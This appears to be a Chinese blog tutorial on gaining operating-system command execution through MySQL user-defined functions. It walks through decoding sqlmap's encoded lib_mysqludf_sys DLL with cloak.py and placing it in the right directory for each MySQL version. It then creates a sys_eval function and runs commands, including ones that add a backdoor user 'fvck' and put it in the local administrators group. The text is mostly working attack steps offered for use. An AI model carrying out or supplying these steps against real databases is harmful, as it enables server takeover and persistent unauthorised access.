MySQL利用UDF执行命令
UDF即User-Defined Functions
lib_mysqludf_sys 在github的介绍:
A UDF library with functions to interact with the operating system. These functions allow you to interact with the execution environment in which MySQL runs.
lib_mysqludf_sys的Github地址:https://github.com/mysqludf/lib_mysqludf_sys#readme
自动化注入工具Sqlmap已经集成了此功能。
在 sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_
(sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_,但是64位的测试失败)
但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。
可以利用sqlmap 自带的解码工具cloak.py
目录 sqlmap\extra\cloak\cloak.py 对 sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_ 解码后,再直接利用
首先进入到 sqlmap\extra\cloak\cloak 目录下,执行命令:
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
在 D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_会生成 lib_mysqludf_sys.dll
攻击者可以利用lib_mysqludf_sys提供的函数执行系统命令。
函数:
目标机以windows为例,MySQL版本为5.6
攻击过程中,首先需要将lib_mysqludf_sys(目标为windows时,lib_mysqludf_sys.dll; linux时,lib_mysqludf_sys.so)上传到数据库能访问的路径下。
然后创建UDF。
lib_mysqludf_sys.dll的导出路径:
MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:system32)
MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。
创建相应的函数:
create function sys_eval returns string soname 'udf.dll';
执行命令:
select sys_eval('whoami');
select sys_eval(‘net user fvck fvck /add’);
select sys_eval(‘net localgroup administrators fvck /add’);
总结
以上是生活随笔为你收集整理的MySQL利用UDF执行命令的全部内容,希望文章能够帮你解决所遇到的问题。
- 上一篇: Javaassist简介
- 下一篇: 某聊天工具消息记录数据库文件解密逆向分析